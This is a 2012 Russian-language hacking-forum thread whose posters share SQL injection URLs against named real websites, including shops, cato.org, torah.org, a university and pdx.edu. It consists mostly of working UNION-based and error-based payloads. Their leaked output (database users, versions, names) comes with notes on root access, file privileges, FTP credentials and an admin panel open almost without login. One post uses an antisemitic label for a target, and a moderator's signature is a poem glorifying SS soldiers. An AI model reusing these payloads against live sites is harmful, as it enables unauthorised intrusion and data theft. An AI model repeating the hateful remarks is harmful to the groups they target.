HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14711  
Старый 13.02.2012, 01:39
[stranger]
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
Провел на форуме:
612028

Репутация: 28
Отправить сообщение для [stranger] с помощью ICQ
По умолчанию

Цитата:
Сообщение от None  
http://www.antikvar.su/index.php?http_id_prod=-899+union+select+1,concat_ws(0x3b,user(),database( ),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 +--+
u36801@10.8.1.171;u36801;5.0.90-log

Цитата:
Сообщение от None  
http://www.gornitsa.ru/index.php?cat='+union+select+1,2,3,4,concat_ws(0x3 b,user(),database(),version())+--+
gornitsaru@localhost;gornitsaru;5.0.26-log
 
Ответить с цитированием

  #14712  
Старый 13.02.2012, 18:27
av1
Участник форума
Регистрация: 06.10.2008
Сообщений: 165
Провел на форуме:
355997

Репутация: 66
Отправить сообщение для av1 с помощью ICQ
По умолчанию

Код:
Code:
http://www.visoflora.com/index.php?option=com_visoflora&task=grainevariete&id=-67+UNION+SELECT+1,2,3,4,5,6,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54%20from%20jos_users--&Itemid=10
Username: visofloracom@localhost

Version: 5.0.51a-24+lenny5-log

Database: visofloracom

Google PR: 5 GooglePage: 1,060,000

Joomla
 
Ответить с цитированием

  #14713  
Старый 13.02.2012, 18:38
[stranger]
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
Провел на форуме:
612028

Репутация: 28
Отправить сообщение для [stranger] с помощью ICQ
По умолчанию

Цитата:
Сообщение от None  
http://silverspoons.ru/?p=catalog&action=show&id=724+or+1+group+by+concat (user(),0x3b,database(),0x3b,version(),floor(rand( 0)*2))+having+min(0)+--+
silverspoons@localhost;silverspoons;5.1.54-1ubuntu41
 
Ответить с цитированием

  #14714  
Старый 15.02.2012, 22:28
totenkopf
Guest
Сообщений: n/a
Провел на форуме:
33658

Репутация: 19
По умолчанию

Код:
Code:
http://hpbikes.com/news.php?id=74+and+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12+--+
http://www.sncorp.com/press_more_info.php?id=468+and+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11+--+
http://www.rfidjournalevents.com/virtual_agenda.php?eid=9'+and+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13+--+
http://www.profitchoice.com/webdir/dir_display.php?cat_id=13'+and+0+UNION+SELECT+concat_ws(0x3a,user(),version(),database())+--+
http://www.theshiva.net/resources.php?category_id=19+and+0+/*!UNION*/+/*!SELECT*/+concat_ws(0x3a,user(),version(),database())+--+
http://www.synchronica.com/p/announcement.php?id=42+and+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6+--+
http://www.amtelnet.com/news/newsarticle.php?id=800537967+and+0+/*!UNION*/+/*!SELECT*/+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+
http://www.tarksheel.com/articles.php?aid=5+and+0+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10
http://www.sussexmedicalchambers.co.uk/articles.php?aid=15'+and+0+UNION+SELECT+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8+--+
http://www.spinsnap.com/articles.php?aid=88+and+0+UNION+SELECT+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12+--+
http://www.sotder.org/health_articles.php?aid=665+and+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database())+--+
http://www.seomanualsubmission.com/seo-link-building-articles.php?aid=7+and+0+/*!UNION*/+/*!SELECT*/+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12+--+
http://www.pongworld.com/articles/articles.php?aid=21+and+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5+--+
 
Ответить с цитированием

  #14715  
Старый 16.02.2012, 02:03
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Код:
Code:
http://www.antibiotic.ru/news.php?y=2011 or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1+--+
тиц 1400, pr 5
 
Ответить с цитированием

  #14716  
Старый 16.02.2012, 03:37
SecondLife
Guest
Сообщений: n/a
Провел на форуме:
5997

Репутация: 21
По умолчанию

Код:
Code:
http://www.chale.ru/pts/admin/index.php?action=edit&categoryID=1&page=&link=0 union select 1,2,3,user(),5,6,7 -- a
Админка доступна почти без авторизации.
 
Ответить с цитированием

  #14717  
Старый 16.02.2012, 12:53
AC//DC
Познающий
Регистрация: 28.07.2009
Сообщений: 98
Провел на форуме:
247684

Репутация: 136
По умолчанию

А веть я хотел купить у них палатку))))

http://www.lodki-palatki.ru/article.php?articleId=-19%20union%20select%20concat_ws(0x3a,@@version,use r(),database(),@@version_compile_os),2,3,4+--

5.0.92-log:lodkipa9_web@localhost:lodkipa9_webortbld-freebsd7.4
 
Ответить с цитированием

  #14718  
Старый 16.02.2012, 18:55
HellFire
Познающий
Регистрация: 18.01.2009
Сообщений: 62
Провел на форуме:
2832076

Репутация: 42
По умолчанию

Cпортивный видеопортал Екатеринбурга.

Код:
Code:
http://www.uralvideosport.ru/news.php?num=1488-14.88+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7,8,9,10--
Внутри есть БД с информацией для подключения к FTP

Database Version: 5.0.32-Debian_7etch8-log

Database name: u6378

User name: root@localhost

ТИЦ: 150

PR: 4


Компания ОМЕГА - разработчик программного обеспечения.

Код:
Code:
http://www.omega.ru/pressreleases/view_relise.php?id=1-1.1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7,8,9,10,11--
Эти ребята делают ПО для СУБД ^^

Database Version: 4.0.27

Database name: news

User name: serg@zvm28.host.ru

ТИЦ: 375

PR: 3


ЧТУП "ПрофЭлектроника" - Поставщик систем безопасности в Беларуси.

Код:
Code:
http://www.pel.by/video_price_t.php?ID=1-0.1+UNION+SELECT+1,2,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),4,5,6,7,8--
Database Version: 5.0.92-community

Database name: sobby_sob2

User name: sobby_sob2@localhost

ТИЦ: 10

PR: 3


Институт Катона — американская исследовательская и просветительская организация.

Код:
Code:
http://www.cato.org/pressroom.php?display=news&id=1-1.1+UNION+SELECT+CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),2,3,4,5--
Database Version: 5.1.56-rs

Database name: cato

User name: cato@192.168.1.3

ТИЦ: 300

PR: 7


Расово еврейский сайт.

Код:
Code:
http://www.torah.org/qanda/seequanda.php?id=666-666.666+UNION+SELECT+1,2,3,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),5,6,7,8,9,10,11--
Database Version: 4.1.11-Debian_etch1-log

Database name: jln

User name: upd_sub@web-1.capalon.internal

ТИЦ: 40

PR: 6


Mohammad Ali Jinnah University.

Код:
Code:
http://jinnah.edu/academic.php?id=1-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),13,14,15,16,17,18,19,20--
File_Priv = Y

Но там уже кто-то тусовался ...

Database Version: 5.5.15

Database name: maju

User name: root@localhost

ТИЦ: 0

PR: 6
 
Ответить с цитированием

  #14719  
Старый 18.02.2012, 20:20
Skofield
Участник форума
Регистрация: 27.08.2008
Сообщений: 209
Провел на форуме:
1759582

Репутация: 394
По умолчанию

http://www.fap.pdx.edu/floorplans/detail.php?buildingID=-13'+union+select+1,2,3,4,5,6,7,version(),9,0,11,12 ,13,14,15,16--+

Database Version: 5.0.77

Database name: fapws

User name: fapws_r@jotunheim.oit.pdx.edu
 
Ответить с цитированием

  #14720  
Старый 20.02.2012, 17:43
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Инъекции вида:

Код:

http://site.ru/index.php?a='

будут удаляться.
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ